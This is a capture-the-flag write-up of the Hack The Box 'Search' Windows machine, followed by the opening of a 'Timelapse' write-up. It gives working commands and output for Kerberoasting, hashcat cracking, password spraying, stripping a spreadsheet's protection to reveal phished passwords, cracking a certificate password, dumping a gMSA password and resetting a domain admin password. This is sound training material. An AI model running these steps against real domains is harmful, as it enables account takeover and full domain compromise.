SMB         10.10.11.129    445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [+] search.htb\Hope.Sharp:IsolationIsKey? 
SMB         10.10.11.129    445    RESEARCH         [+] Enumerated shares
SMB         10.10.11.129    445    RESEARCH         Share           Permissions     Remark
SMB         10.10.11.129    445    RESEARCH         -----           -----------     ------
SMB         10.10.11.129    445    RESEARCH         ADMIN$                          Remote Admin
SMB         10.10.11.129    445    RESEARCH         C$                              Default share
SMB         10.10.11.129    445    RESEARCH         CertEnroll      READ            Active Directory Certificate Services share
SMB         10.10.11.129    445    RESEARCH         helpdesk                        
SMB         10.10.11.129    445    RESEARCH         IPC$            READ            Remote IPC
SMB         10.10.11.129    445    RESEARCH         NETLOGON        READ            Logon server share 
SMB         10.10.11.129    445    RESEARCH         RedirectedFolders$ READ,WRITE      
SMB         10.10.11.129    445    RESEARCH         SYSVOL          READ            Logon server share
```

We have access to couple shared directory's. Let's look into them.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# smbclient //search.htb/RedirectedFolders$ -U Hope.Sharp
Enter WORKGROUP\Hope.Sharp's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  Dc        0  Fri Jan  7 11:46:39 2022
  ..                                 Dc        0  Fri Jan  7 11:46:39 2022
  abril.suarez                       Dc        0  Tue Apr  7 14:12:58 2020
  Angie.Duffy                        Dc        0  Fri Jul 31 09:11:32 2020
  Antony.Russo                       Dc        0  Fri Jul 31 08:35:32 2020
  belen.compton                      Dc        0  Tue Apr  7 14:32:31 2020
  Cameron.Melendez                   Dc        0  Fri Jul 31 08:37:36 2020
  chanel.bell                        Dc        0  Tue Apr  7 14:15:09 2020
  Claudia.Pugh                       Dc        0  Fri Jul 31 09:09:08 2020
  Cortez.Hickman                     Dc        0  Fri Jul 31 08:02:04 2020
  dax.santiago                       Dc        0  Tue Apr  7 14:20:08 2020
  Eddie.Stevens                      Dc        0  Fri Jul 31 07:55:34 2020
  edgar.jacobs                       Dc        0  Thu Apr  9 16:04:11 2020
  Edith.Walls                        Dc        0  Fri Jul 31 08:39:50 2020
  eve.galvan                         Dc        0  Tue Apr  7 14:23:13 2020
  frederick.cuevas                   Dc        0  Tue Apr  7 14:29:22 2020
  hope.sharp                         Dc        0  Thu Apr  9 10:34:41 2020
  jayla.roberts                      Dc        0  Tue Apr  7 14:07:00 2020
  Jordan.Gregory                     Dc        0  Fri Jul 31 09:01:06 2020
  payton.harmon                      Dc        0  Thu Apr  9 16:11:39 2020
  Reginald.Morton                    Dc        0  Fri Jul 31 07:44:32 2020
  santino.benjamin                   Dc        0  Tue Apr  7 14:10:25 2020
  Savanah.Velazquez                  Dc        0  Fri Jul 31 08:21:42 2020
  sierra.frye                        Dc        0  Wed Nov 17 20:01:46 2021
  trace.ryan                         Dc        0  Thu Apr  9 16:14:26 2020

                3246079 blocks of size 4096. 458738 blocks available
smb: \>
```

More user information is present in this directory. Let's add these to user.txt file. We can access Hope users directory, but for the rest we don't have permission to read or list the contents.

Now we have a valid username and password, we can dump LDAP.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# bloodhound-python -u Hope.Sharp -p 'IsolationIsKey?' -ns 10.10.11.129 -d search.htb -c All                                  1 ⨯
INFO: Found AD domain: search.htb
INFO: Connecting to LDAP server: research.search.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 113 computers
INFO: Connecting to LDAP server: research.search.htb
INFO: Found 106 users
INFO: Found 63 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Windows-100.search.htb
INFO: Querying computer: Windows-99.search.htb
INFO: Querying computer: Windows-98.search.htb
INFO: Querying computer: Windows-97.search.htb
INFO: Querying computer: Windows-96.search.htb
INFO: Querying computer: Windows-95.search.htb
INFO: Querying computer: Windows-94.search.htb
INFO: Querying computer: Windows-93.search.htb
INFO: Querying computer: Windows-92.search.htb
INFO: Querying computer: Windows-91.search.htb
----------SNIP----------
```

We have a vhost, let's add that to host file. Now we can use this dump to visualize it using bloodhound GUI. Upload all the dumped data.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search.png)

This is the shortest path to domain admin. However, we don't have access to any of the user who are member of 'ITSEC'. We have access to 'Hope Sharp' user but she's not a member of ITSEC. However, if we look for Kerberoastable Accounts, then we'd find two.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search2.jpg)

This 'Web_svc' account is created by HelpDesk and it is temporary. It is being used as Web Service, so basically it is a service account.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search3.jpg)

The SPN is not null, so we can Kerberoast to extract service account credentials (hash) from Active Directory as a regular user without sending any packets to the target system.

 - [Kerberoasting without SPNs](https://swarm.ptsecurity.com/kerberoasting-without-spns/)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search4.jpg)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# GetUserSPNs.py -request -dc-ip 10.10.11.129 search.htb/Hope.Sharp:IsolationIsKey?
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

ServicePrincipalName               Name     MemberOf  PasswordLastSet             LastLogon  Delegation 
---------------------------------  -------  --------  --------------------------  ---------  ----------
RESEARCH/web_svc.search.htb:60001  web_svc            2020-04-09 08:59:11.329031  <never>               



$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$4ee5fdd7f42a0f84f9ac17f136b3f069$01dd7ba8711fd95bdc8360787582d5a4ca21ab2292505d3a3d00343015008eaf0fc7b2151f58f0b91f4f5fc5b18aaae33a5181e98b15951f8fdfa5df0dde76d1f8821b72e0e321993ec8cc7ceed84ac1ec33f85693ef3c204cef1e0dc14221ca3e0308262fb8634e268c56d9ddc44b5368038fed232e669772dc1748a8400e8181c61f065e773a5d5cf37fd036934f6ac77904eb62b1d6ea68f4f86c609053298fb64979293e709f00bf7fe42b2d77c327fc2180c7aec3a01134a1daee99b4134be38879805f576ad0d02818c3e8838720cef5e42f442ea13d6426f47a38c9ad40c106faceae7e20c9773e87870ab4f470da4f3911a1ca476e9e874fa0afcf2395e419db524a69c6013ec760dcc357fdfad8158205d5bce95f1ca6949e53a1be01d168fb23f36c12da34292310054e78a4f85b0291edc28396e01793d79f61edfb66cf95fb91d5fe001062fbf164ddfca6e967edf6b62052055f9fc15205d37437f6689f97fb5de7ec1cf50c71220d60425ed596d95de7583e4650eb401d08020532d1453baf3cfd8a20d8dc1dea9559ad1e9340199160163ada904dcff8a93ffe405e4773bfdd63aa54fee3fe75dda48c4be602b1d519292b3f8525d06f81dced00161c984b2865709f31cee9f7f6cb8eaf4578f98acb594367a1a75ae3ce1e7c30694870c3846ca4a28688863aafb96ebf80c035c6f903ebc29922440b3cbd933d2ffa8cdcb832b15bc65e17f33b03a9e39344face26222797e4858765bb822013822c7b0c16aceb0c69e5d1449561860660aee435e03c25e4e1e56489c5b1c31b159a043e67c10ebade504314ab4a92e6cfaf84265b05b6becf91a9609f67f318b3ca2f5b8bbe48c5c1ee2d2ee5d76808af85711768f70cc6fa44a52709f09a6bf66a1cb0eaaa7a2557d170da2e3f93af61bfe03b4823642f5856fe1f903879dde38e1673412e7acd44feb7b6d56baf2c619344cd255a6211e93997990cc5d9590cba762c818e177cab3e863fb606ef3a59b01cae79245ce48f4adfcb8a2191fdc50e22e0efcbc6f1a32b7d9e01e45a084bc28d16dce196c4764bbb69923a74f74a7979359a4027e4f7b3a6035308b41d35779290c63af219520061a8d135445b4627f6d653dfc782e58f8be41319daff7d11839be8b1cf00d45d2f2edaf38688e88d3e87db5e256ed3af5c00e819e6e17fc68310de406de59271c646279a5c3f300fc85cd514f7840c560a82bb47ead06bc80f031816c7c612058143a83e53bd1826856177bbd53484f9f70a861ad4f3544b2699ee9017e06377f132db59f83e1715b8c7d3b71ecd92e388ce358fa6602c2591d3feff427b7b4c072c0d6d41ef9c0a150ae100a064267a98dc9a3325a33b2b8881a926b8ab88076527e54c153440a51efcaffc1e230e7eebe7259e3d7d826a4eb061a8e2d8a53459fada32331caf5f21a9dd80669e0b88ca9966bd04425ec2e1
```

We got the hash of Web_svc service account. Let’s try to crack it.

``` bash
hashcat.exe -m 13100 password.txt rockyou.txt

$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$4ee5fdd7f42a0f84f9ac17f136b3f069$01dd7ba8711fd95bdc8360787582d5a4ca21ab2292505d3a3d00343015008eaf0fc7b2151f58f0b91f4f5fc5b18aaae33a5181e98b15951f8fdfa5df0dde76d1f8821b72e0e321993ec8cc7ceed84ac1ec33f85693ef3c204cef1e0dc14221ca3e0308262fb8634e268c56d9ddc44b5368038fed232e669772dc1748a8400e8181c61f065e773a5d5cf37fd036934f6ac77904eb62b1d6ea68f4f86c609053298fb64979293e709f00bf7fe42b2d77c327fc2180c7aec3a01134a1daee99b4134be38879805f576ad0d02818c3e8838720cef5e42f442ea13d6426f47a38c9ad40c106faceae7e20c9773e87870ab4f470da4f3911a1ca476e9e874fa0afcf2395e419db524a69c6013ec760dcc357fdfad8158205d5bce95f1ca6949e53a1be01d168fb23f36c12da34292310054e78a4f85b0291edc28396e01793d79f61edfb66cf95fb91d5fe001062fbf164ddfca6e967edf6b62052055f9fc15205d37437f6689f97fb5de7ec1cf50c71220d60425ed596d95de7583e4650eb401d08020532d1453baf3cfd8a20d8dc1dea9559ad1e9340199160163ada904dcff8a93ffe405e4773bfdd63aa54fee3fe75dda48c4be602b1d519292b3f8525d06f81dced00161c984b2865709f31cee9f7f6cb8eaf4578f98acb594367a1a75ae3ce1e7c30694870c3846ca4a28688863aafb96ebf80c035c6f903ebc29922440b3cbd933d2ffa8cdcb832b15bc65e17f33b03a9e39344face26222797e4858765bb822013822c7b0c16aceb0c69e5d1449561860660aee435e03c25e4e1e56489c5b1c31b159a043e67c10ebade504314ab4a92e6cfaf84265b05b6becf91a9609f67f318b3ca2f5b8bbe48c5c1ee2d2ee5d76808af85711768f70cc6fa44a52709f09a6bf66a1cb0eaaa7a2557d170da2e3f93af61bfe03b4823642f5856fe1f903879dde38e1673412e7acd44feb7b6d56baf2c619344cd255a6211e93997990cc5d9590cba762c818e177cab3e863fb606ef3a59b01cae79245ce48f4adfcb8a2191fdc50e22e0efcbc6f1a32b7d9e01e45a084bc28d16dce196c4764bbb69923a74f74a7979359a4027e4f7b3a6035308b41d35779290c63af219520061a8d135445b4627f6d653dfc782e58f8be41319daff7d11839be8b1cf00d45d2f2edaf38688e88d3e87db5e256ed3af5c00e819e6e17fc68310de406de59271c646279a5c3f300fc85cd514f7840c560a82bb47ead06bc80f031816c7c612058143a83e53bd1826856177bbd53484f9f70a861ad4f3544b2699ee9017e06377f132db59f83e1715b8c7d3b71ecd92e388ce358fa6602c2591d3feff427b7b4c072c0d6d41ef9c0a150ae100a064267a98dc9a3325a33b2b8881a926b8ab88076527e54c153440a51efcaffc1e230e7eebe7259e3d7d826a4eb061a8e2d8a53459fada32331caf5f21a9dd80669e0b88ca9966bd04425ec2e1:@3ONEmillionbaby

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*...5ec2e1
Time.Started.....: Sat Jan 08 02:00:20 2022 (1 sec)
Time.Estimated...: Sat Jan 08 02:00:21 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 14880.9 kH/s (9.10ms) @ Accel:1024 Loops:1 Thr:32 Vec:1
Speed.#3.........:   271.1 kH/s (13.03ms) @ Accel:32 Loops:1 Thr:8 Vec:1
Speed.#*.........: 15152.0 kH/s
Recovered........: 1/1 (100.00%) Digests
Progress.........: 12828672/14344385 (89.43%)
Rejected.........: 0/12828672 (0.00%)
Restore.Point....: 11214848/14344385 (78.18%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: DR3KSILL0 -> 23~1~19
Candidates.#3....: 2380146112071401 -> 234tjg
Hardware.Mon.#1..: Temp: 59c Util: 29% Core: 528MHz Mem:2279MHz Bus:8
Hardware.Mon.#3..: N/A

Started: Sat Jan 08 01:59:54 2022
Stopped: Sat Jan 08 02:00:22 2022
```

We got the password for web_svc service account, let's spray this password across all the accounts which we have found so far.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# crackmapexec smb search.htb -u user.txt -p '@3ONEmillionbaby' --continue-on-success
SMB         10.10.11.129    445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\abril.suarez:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Angie.Duffy:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Antony.Russo:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\belen.compton:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Cameron.Melendez:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\chanel.bell:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Claudia.Pugh:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Cortez.Hickman:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\dax.santiago:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Eddie.Stevens:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [+] search.htb\edgar.jacobs:@3ONEmillionbaby 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Edith.Walls:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\eve.galvan:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\frederick.cuevas:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\hope.sharp:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\jayla.roberts:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Jordan.Gregory:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\payton.harmon:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Reginald.Morton:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\santino.benjamin:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Savanah.Velazquez:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\sierra.frye:@3ONEmillionbaby STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\trace.ryan:@3ONEmillionbaby STATUS_LOGON_FAILURE
```

One user account is using the same password as service account. Let's look into shares of that user.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# smbclient //search.htb/RedirectedFolders$ -U edgar.jacobs
Enter WORKGROUP\edgar.jacobs's password: 
Try "help" to get a list of possible commands.
smb: \> cd edgar.jacobs\Desktop\
smb: \edgar.jacobs\Desktop\> ls
  .                                 DRc        0  Mon Aug 10 06:02:16 2020
  ..                                DRc        0  Mon Aug 10 06:02:16 2020
  $RECYCLE.BIN                     DHSc        0  Thu Apr  9 16:05:29 2020
  desktop.ini                      AHSc      282  Mon Aug 10 06:02:16 2020
  Microsoft Edge.lnk                 Ac     1450  Thu Apr  9 16:05:03 2020
  Phishing_Attempt.xlsx              Ac    23130  Mon Aug 10 06:35:44 2020

                3246079 blocks of size 4096. 458449 blocks available
```

There's a XLS file, download that to your machine.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search5.jpg)

This XLS document has two sheets, one of them has captured passwords of phishing and another has a list of username. As you can see the lock symbol on second sheet, a column is being locked with a password.

You can confirm it by resizing the cell which is in between lastname and Username. There are two ways to remove the password. Upload it on google drive and access it via sheets, it will remove the password for you. This is the easiest way. If you want to remove it manually, then you need unzip this xlsx file and delete the below link from the sheet2.xml file.

``` bash
<sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg"
saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
```

You can find this 'sheet2.xml' file after unzipping the xlsx file. 
Location: xl/worksheets/sheet2.xml Once you delete that line, you need to zip it back.

``` bash
zip -r Phishing.xls .
```

Open the xls file and double click on the line which is between D and B to see the passwords.

``` bash
firstname	lastname	password	Username
Payton	Harmon	;;36!cried!INDIA!year!50;;	Payton.Harmon
Cortez	Hickman	..10-time-TALK-proud-66..	Cortez.Hickman
Bobby	Wolf	??47^before^WORLD^surprise^91??	Bobby.Wolf
Margaret	Robinson	//51+mountain+DEAR+noise+83//	Margaret.Robinson
Scarlett	Parks	++47|building|WARSAW|gave|60++	Scarlett.Parks
Eliezer	Jordan	!!05_goes_SEVEN_offer_83!!	Eliezer.Jordan
Hunter	Kirby	~~27%when%VILLAGE%full%00~~	Hunter.Kirby
Sierra	Frye	$$49=wide=STRAIGHT=jordan=28$$18	Sierra.Frye
Annabelle	Wells	==95~pass~QUIET~austria~77==	Annabelle.Wells
Eve	Galvan	//61!banker!FANCY!measure!25//	Eve.Galvan
Jeramiah	Fritz	??40:student:MAYOR:been:66??	Jeramiah.Fritz
Abby	Gonzalez	&&75:major:RADIO:state:93&&	Abby.Gonzalez
Joy	Costa	**30*venus*BALL*office*42**	Joy.Costa
Vincent	Sutton	**24&moment&BRAZIL&members&66**	Vincent.Sutton
```

Now we have 15 more username & passwords. If we look at the bloodhound visual path to domain admin, out of all the users, there are only two are in the password list. Abby and Sierra will lead to domain admin. The Abby password didn't work, but Sierra's did.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# smbclient //search.htb/RedirectedFolders$ -U Sierra.Frye
Enter WORKGROUP\Sierra.Frye's password: 
Try "help" to get a list of possible commands.
smb: \> cd sierra.frye\Desktop\
smb: \sierra.frye\Desktop\> ls
  .                                 DRc        0  Wed Nov 17 20:08:00 2021
  ..                                DRc        0  Wed Nov 17 20:08:00 2021
  $RECYCLE.BIN                     DHSc        0  Tue Apr  7 14:03:59 2020
  desktop.ini                      AHSc      282  Fri Jul 31 10:42:15 2020
  Microsoft Edge.lnk                 Ac     1450  Tue Apr  7 08:28:05 2020
  user.txt                           Ac       33  Wed Nov 17 19:55:27 2021

                3246079 blocks of size 4096. 458293 blocks available
smb: \sierra.frye\Desktop\> get user.txt
getting file \sierra.frye\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

┌──(root💀kali)-[~/hackthebox/machine/search]
└─# cat user.txt   
5c7b277e24c9c5a866f572bdff53f0f4
```

We have user flag now.

``` bash
smb: \sierra.frye\Desktop\> cd \sierra.frye\Downloads\Backups\
smb: \sierra.frye\Downloads\Backups\> ls
  .                                 DHc        0  Mon Aug 10 16:39:17 2020
  ..                                DHc        0  Mon Aug 10 16:39:17 2020
  search-RESEARCH-CA.p12             Ac     2643  Fri Jul 31 11:04:11 2020
  staff.pfx                          Ac     4326  Mon Aug 10 16:39:17 2020

                3246079 blocks of size 4096. 458293 blocks available
```

Under Downloads we will find Cryptography files. Let's download them to our machine.

``` bash
smb: \sierra.frye\Downloads\Backups\> get search-RESEARCH-CA.p12
getting file \sierra.frye\Downloads\Backups\search-RESEARCH-CA.p12 of size 2643 as search-RESEARCH-CA.p12 (1.7 KiloBytes/sec) (average 1.1 KiloBytes/sec)
smb: \sierra.frye\Downloads\Backups\> get staff.pfx
getting file \sierra.frye\Downloads\Backups\staff.pfx of size 4326 as staff.pfx (5.6 KiloBytes/sec) (average 2.2 KiloBytes/sec)
```

***A p12 file contains a digital certificate that uses PKCS#12 (Public Key Cryptography Standard #12) encryption. It is used as a portable format for transferring personal private keys and other sensitive information. P12 files are used by various security and encryption programs. It is generally referred to as a "PFX file".***

We can try to upload this certificate to browser (firefox).

It asks for the password. We can try to crack the password using bellow tool.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# /root/p12tool/p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt

██████╗  ██╗██████╗ ████████╗ ██████╗  ██████╗ ██╗     
██╔══██╗███║╚════██╗╚══██╔══╝██╔═══██╗██╔═══██╗██║     
██████╔╝╚██║ █████╔╝   ██║   ██║   ██║██║   ██║██║     
██╔═══╝  ██║██╔═══╝    ██║   ██║   ██║██║   ██║██║     
██║      ██║███████╗   ██║   ╚██████╔╝╚██████╔╝███████╗
╚═╝      ╚═╝╚══════╝   ╚═╝    ╚═════╝  ╚═════╝ ╚══════╝

Version: 1.0 (n/a) - 01/07/22 - Evi1cg

2022/01/07 15:42:12 ->  [*] Brute forcing...
2022/01/07 15:42:12 ->  [*] Start thread num 100
2022/01/07 15:42:12 -> [+] Password found ==> misspissy
2022/01/07 15:42:12 -> [*] Successfully cracked password after 5484391 attempts!
```

If you are on VM then it'd take much more time. Now we have the password for the certificate. Let's add it in our browser.

There's a specific endpoint which you can access with this certificate.

``` bash
https://search.htb/staff/en-US/logon.aspx
```

Now we need to input the credentials of 'Sierra' user and access PowerShell Console.

``` bash
Sierra.Frye
$$49=wide=STRAIGHT=jordan=28$$18	
research.search.htb
```

After login we can run Powershell commands.

Let's go back to bloodhound and look for path from owned principle to domain admin.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search6.jpg)

As we are member of ITSEC, we can read GMSA password.

BIR-ADFS-GMSA@SEARCH.HTB is a Group Managed Service Account. The group ITSEC@SEARCH.HTB can retrieve the password for the GMSA BIR-ADFS-GMSA@SEARCH.HTB

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# python3 /root/gMSADumper-main/gMSADumper.py -d search.htb -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18'
BIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0f
```

gMSAs use 240-byte, randomly generated complex passwords. So, it's hard to crack.

 - [Reading GMSA Password](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#reading-gmsa-password)
 - [Passwordless PowerShell - How to use gMSAs In Your Scripts](https://www.ephingadmin.com/PasswordlessPowerShell/)

 - GMSA Attributes in the Active Directory

msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.
msds-ManagedPassword - This attribute contains a BLOB with password information for group-managed service accounts.
msDS-ManagedPasswordId - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
msDS-ManagedPasswordInterval - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.

Based on these both blogs, we can run commands as BIR-ADFS-GMSA to set an environment to access domain admin

``` bash
$user = 'BIR-ADFS-GMSA$'
$gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword
```

With these above we are setting up the GMSA password to be used and runas 'BIR-ADFS-GMSA$' user.

Everything is set, now we need to invoke commands to run any type of script/command.

``` bash
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {whoami}
```

For that we will use above command to know which user access we have right now.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search7.jpg)

As you can see 'whoami' result is showing that we are 'BIR-ADFS-GMSA$' user, not 'Sierra'. Let's look into Bloodhound one more time.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search8.jpg)

Let's look into help of 'Generic all'.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search9.jpg)

As you can see 'Generic All' privileges simply means full control over 'Tristan' user, who is also a domain admin. Let's change the domain admin password.

``` bash
PS C:\Users\Sierra.Frye\Documents> 

Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {net user Tristan.Davies qwerty1234 /domain}

The command completed successfully.
```

Now we can access admin directory to read the root flag.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# smbclient //search.htb/C$ -U Tristan.Davies
Enter WORKGROUP\Tristan.Davies's password: 
Try "help" to get a list of possible commands.
smb: \> cd \Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> ls
  .                                 DRc        0  Mon Nov 22 15:21:49 2021
  ..                                DRc        0  Mon Nov 22 15:21:49 2021
  desktop.ini                       AHS      282  Mon Nov 22 15:21:49 2021
  root.txt                          ARc       34  Fri Jan  7 11:13:49 2022

                3246079 blocks of size 4096. 461189 blocks available
smb: \Users\Administrator\Desktop\> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)


┌──(root💀kali)-[~/hackthebox/machine/search]
└─# cat root.txt        
e66ca102d9ee6b0894fffa9a65b13e18
```

#### Summary of knowledge

 - kerbrute enumerate valid usernames
 - crackmapexec password spray
 - bloodhound information gathering
 - Kerberoasting without SPNs
 - hashcat crack service account's hash
 - XLS file remove password protection
 - browser digital certificate password crack using p12tool
 - using gMSADumper read GMSA password
 - change the domain admin password to privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end search -->

</details>

<a id="case-timelapse"></a>

## PFX 身份与 LAPS 读取范围

ZIP 与 PFX 的口令恢复连接证书 WinRM，PowerShell 历史和 ADComputer 属性进一步确定读取 LAPS 的权限。

<p class="kb-provenance">来源 timelapse · 原记录 2022-03-27 · 11 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-timelapse">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start timelapse -->

#### introduce

OS: Windows
Difficulty: Easy
Points:	20
Release:	26 Mar 2022
IP:	10.10.11.152

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2193.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.152
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2022-03-27 05:40:20Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49687/tcp open  msrpc             Microsoft Windows RPC
59512/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
```

let's do some basic enumeration first

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timelapse]
└─# nmap -p389 --script ldap-rootdse 10.10.11.152
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-26 19:04 EDT
Nmap scan report for 10.10.11.152
Host is up (0.36s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=timelapse,DC=htb
|       ldapServiceName: timelapse.htb:dc01$@TIMELAPSE.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
